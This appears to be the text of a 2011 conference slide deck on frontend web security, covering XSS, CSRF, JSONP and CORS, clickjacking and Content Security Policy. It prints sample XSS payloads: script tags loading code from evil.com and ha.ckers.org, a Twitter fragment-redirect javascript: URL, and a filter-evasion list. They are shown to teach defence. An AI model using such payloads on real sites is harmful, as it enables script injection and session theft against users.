Web Application Security in front end

Web security in the frontend
Framsia
H2011 – Erlend Oftedal
Side 1

Who am I?
 Developer
 Head of the security competency group at BEKK
 Chapter lead of the OWASP Norway chapter
 Member of the Norwegian Honeynet project
 erlend.oftedal@bekk.no
 @webtonull
 http://erlend.oftedal.no/blog

Client side validation of data sent to server
 Improves usability
 Has nothing to do with security
Side 12

Cross Site Scripting - XSS
 One of the most common problems
 OWASP Top 10 2004, 2007, 2010
Side 13
http://info.veracode.com/rs/veracode/images/soss-v3.pdf

Cross site scripting
Drawing by @johnwilander

Reflected
Side 15Drawing by @johnwilander

Stored

Side 19
DEMO
Persistent/stored XSS

DOM-based

DOM-based
Side 22
 http://www.server.com/#banner=2011
 Would you click:
 http://server.com/#banner=2011<script src="http://evil.com/"></script>
 http://server.com/#banner=2011%3Cscript%20src%3D%22http%3A//evil.com/%22%3E%3C/script%
3E
 http://bit.ly/vH6d6w
Not sent to server

Example
 $(location.hash)
 $("#<script>alert(1)</script>")
 http://codesearch.google.com/codesearch?as_q=%22%24%28location.hash%29%22
http://ma.la/jquery_xss/

Twitter September 2010
(function(g) {
var a = location.href.split("#!")[1];
if(a){
g.location = a;
}
})(window);
Goal:
https://twitter.com/#!/framsia
https://twitter.com/framsia
Side 24
http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html

Twitter September 2010
https://twitter.com/#!javascript:alert(1)
g.location = "javascript:alert(1)"
Side 25
Not sent to server

First attempt to patch
var c = location.href.split("#!")[1];
if(c) {
window.location = c.replace(":", "");
} else {
return true;
}
Side 26
Replaces first occurence of
the search string.

But...
https://twitter.com/#!javascript::alert(1)
Side 27

2nd attempt
(function(g){
var a = location.href.split("#!").[1];
if(a) {
g.location = a.replace(/:/gi, "");
}
})(window);
Side 28

But...
http://twitter.com/#!javascript:alert(1)
Side 29

Working patch
(function(g){
var a = location.href.split("#!")[1];
if(a) {
g.location.pathname = a;
}
})(window);
Side 30

HTML5 - Browser Storage
 Persistent DOM based XSS

Is it really all that dangerous?
Side 32

http://telenorsoc.blogspot.com/2008/10/malware-og-drive-by-exploits.html

The same origin policy
<script>
<iframe src="http://mail.google.com">
</iframe>

Is input validation enough?
 How do you validate an email address?
 [a-z]+@[a-z]+.[a-z]{2,3}
 [a-z'-A-ZæøåÆØÅ.]+@[a-z0-9-.]+.[a-z]{2,3}
Side 37

From Wikipedia
 The local-part of the email address may use any of these ASCII characters
RFC 5322 Section 3.2.3:
– Uppercase and lowercase English letters (a–z, A–Z) (ASCII: 65-90, 97-122)
– Digits 0 to 9 (ASCII: 48-57)
– Characters !#$%&'*+-/=?^_`{|}~ (ASCII: 33, 35-39, 42, 43, 45, 47, 61, 63, 94-96, 123-126)
– Character . (dot, period, full stop) provided that it is not the first or last
character, and provided also that it does not appear two or more times
consecutively (e.g. John..Doe@example.com).
– Special characters are allowed with restrictions including:
– Space and "(),:;<>@[] (ASCII: 32, 34, 40, 41, 44, 58, 59, 60, 62, 64, 91-93)

From Wikipedia
 Valid email addresses
– niceandsimple@example.com
– a.little.unusual@example.com
– much."more unusual"@example.com
– very.unusual."@".unusual.com@example.com
– very."(),:;<>[]".VERY."very @"very".unusual@cool.example.com

Input validation is not enough!
 How would you avoid XSS on Stack Overflow?
 Do you really expect the user to write htmlentities like > and <?
– User friendly?
Side 40

Contextual encoding
 OWASP XSS Prevention cheat sheet
– Between HTML tags – html encoding &#nn;
– In HTML attributes – html attribute encoding &#nn;
– In javascript strings – javascript encoding xnn
– In CSS – CSS encoding nnnnnn
– In URLs - URL encoding %nn
Side 41

Contextual encoding is important!
Side 42
<html>
<body>
<script>
var a = "</script><script>alert(1)</script>";
</script>
</body>
</html>

Simple HTML encoding is not enough
Side 43
<img class="profile" src="http://..."
onmouseover="showUserProfile('bob'); alert('1')">

Allowing some HTML tags?
 Use a well-tested whitelist based policy engine
– Specify allowed tags and allowed attributes
– Canonicalization
 Suggestions
– OWASP AntiSamy
– HtmlPurifier
Side 44

Why you do NOT write your own HTML-cleaner/sanitizer
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert("XSS")>
<META HTTP-EQUIV="Set-Cookie"
Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
¼script¾alert(¢XSS¢)¼/script¾
<charset="x-mac-farsi">☼script ☾alert(1)//☼/script ☾
http://ha.ckers.org/xss.html

jQuery Encoder
 $.encoder.canonicalize()
 $.encoder.encodeForCSS()
 $.encoder.encodeForHTML()
 $.encoder.encodeForHTMLAttribute()
 $.encoder.encodeForJavaScript()
 $.encoder.encodeForURL()
 http://github.com/chrisisbeef/jquery-encoder
Side 46

Avoiding DOM based XSS
 Beware of potential attacker controlled data
– window.name
– window.referer
– window.location.hash
– ++
Side 47

Coding principles
 JSON from XHR should be JSON encoded – no HTML encoding
 Beware of the semantics – jQuery:
 Use $("...").text(value) instead of $("...").html(value)
 Use .attr() to add attributes
 Use .css() to modify CSS
 URLencode before putting data in URLs (encodeURI() and friends)
 Never ever put user data inside:
– eval(string) – are you sure that's JSON and not just JS?
– setInterval(string, t)
– setTimeout(string, t)
– new Function(string)
Side 48

Coding principles
 If you are using a templating engine like Mustache, check:
– When is data escaped?
– How is it escaped?
– For what?
– Test it!
Side 49

CSRF
Side 51
 Cross Site Request Forgery
 One-click attack, session riding

Side 52
DEMO
CSRF demo (GET + POST)

CSRF - Overview
Side 53
1. Login
2. Load content
4. Pay bill to attacker’s account
Infected server
3. Page with hidden script
Bank

Stopping CSRF
Side 54
 Explicit verification before performing an action
– CAPTCHA
– Re-authentication
 One-time password before paying bills

CSRF – Token
Side 55
1. GET /pay
Infected server
Bank
2. 200 OK - <form...><input name="token" value="x123LKJ23"
3. POST /pay – token=x123LKJ23
4. 200 OK
For session x
Token=x123LKJ23
x123LKJ23
==
x123LKJ23

CSRF – Bad token
Side 56
0. Login
1. Load content
Infected server
2. Page with hidden script and form
<form...><input name="token" value="XYZZ..." >
Bank
3. POST /pay – token=XYZZ...
4. 400 Bad request
For session x
Token=9992812jabc
9992812jabc
!=
XYZZ...

Side 57
DEMO
CSRF Token protection demo

Cross Domain Data
Side 58
 Proxy
 JSONP
 CORS

Proxy
Side 59
 Client asks server
 Server asks target
 Target returns data to server
 Server returns data to client
 Allows server to inspect/reject data
 Does not circumvent the Same Origin
Policy
 Cannot directly reuse current
authentication

JSONP
Side 60
 Page from server A adds a script-tag to target server B
 Server B (hopefully) returns JSON data wrapped in a callback function:
callback({"id":0, ...})
 Page from server A defines a function with the same name as the
callback function, and receives the data
 Can leverage current authentication
 Any webpage can include the same script tag and the same callback and
thus potentially steal the data
 Server B can misbehave and send other types of javascript (XSS)
 No easy way to protect POST requests from CSRF
 => Insecurely circumventing the Same Origin Policy

CORS – Cross Origin Resource Sharing
Side 61
 Standards-defined secure way to do cross domain requests from the
browser
 Types:
– postMessage
– Cross Domain XHR

CORS - postMessage
Side 62
 Webpage from server A includes a (hidden) iframe to target server B
 JavaScript on page from A, invokes postMessage on iframe
iframe.contentWindow
.postMessage("some data", "http://serverB")
 Page in iframe from server B defines an event handler:
$(window).bind("message", function(e) {
var event = e.originalEvent;
if (event.origin == "http://serverA") {
//process event.data
}
});

CORS - postMessage
Side 63
 Remember to check origin of an event
 Don't be tempted to specify "*" as the second parameter to postMessage

Cross Domain XHR
Side 64
 $.getJSON("http://serverB/someService",
function(data) {
//handle data
});
 Server B returns the data with a specific response header:
Access-Control-Allow-Origin: http://serverA
 Once again do not use * as server name unless you want the data to be
available to server

Side 65
DEMO
CORS DEMO (XHR + postMessage)

Important regardless of choice
Side 66
 Agree on type of encodig – prefer JSON with no other encoding
 Remember – if you allow HTML, you open for XSS

Side 67
DEMO
Video of XSS via twitter feed

Clickjacking
Side 68
 User does not click on what he/she thinks
 Hidden iframe
 Like-jacking

Side 69
DEMO
Clickjacking demo

Side 70
http://amolnaik4.blogspot.com/2011/09/hijacking-2-clicks-in-google-accounts.html

Advanced clickjacking
Side 71
 Exploiting drag-n-drop to steal content
 User drags a ball into a basket
– In reality selects text and drops it in a textarea

Anti-clickjacking
Side 72
 Javascript framebusting
 Response header
X-Frame-Options: sameorigin
X-Frame-Options: deny
 Javascript framebusting can be circumvented
 X-Frame-Options is only supported in newer browsers
– IE8 was the first one
– IE also supports X-Frame-Options: allow-from <domains>

Side 73
DEMO
Anti-clicjacking via X-Frame-Options

EcmaScript 5 – defineProperty
Side 74
 Object.defineProperty(object, propertyName, {
get: function() { ... },
set: function(value) { ... },
configurable: boolean
})

Side 75
DEMO
Blocking calls to document.cookie from JS

HTML5 – SVG
http://www.owasp.org/images/a/aa/The_image_that_called_me.pdf
 Scalable Vector Graphics
– Image format
– Allows for scripting
– XML-based
– Can be declared inline
– <html>...<div>...<svg>...
 Countless XSS bugs in browser implementations

SVG favicon
 SVG favicon overlaying the chrome of Opera
Side 77
Picture by Mario Heiderich @0x6D6172696F

Content Security Policy
Mozilla CSP - Content Security Policy
• Now a W3C standard
• header based - server instructs browser
• policies for javascript, frames, images, style etc.
X-Content-Security-Policy: allow *; script-src 'self‘
X-Content-Security-Policy: allow *; script-src 'self' *.google.com https://*.nordea.no:443
X-Content-Security-Policy: allow *; script-src 'self'; options inline-script eval-script
https://wiki.mozilla.org/Security/CSP/Spec

Content Security Policy
 First version came in Firefox 4
– FF7 and FF8beta ~80% compliant with current W3C spec
 Implemented in Chrome
– Completely broken in Chrome 15 – ~95% compliant in beta (16)
 By default disables javascript functions that build code from strings
eval(s), setTimeout(s,t), setInterval(s,t), new Function(s)
 Can (in the future) be used for clickjacking-defence:
frame-ancestors uri
Side 79

Side 80
DEMO
Content Security Policy demo

Other HTML5 features
Side 81
 Check html5sec.org
 Test tool http://html5sec.org/innerhtml

Questions
Erlend Oftedal
erlend.oftedal@bekk.no
@webtonull
 People you should follow
@0x6D6172696F – HTML5 security
@johnwilander – RIA security
@wisecwisec – DOM based XSS
@garethheyes - XSS
@kkotowicz - Clickjacking

Web Application Security in front end

More Related Content

What's hot

Viewers also liked

Similar to Web Application Security in front end

Recently uploaded

Web Application Security in front end

Editor's Notes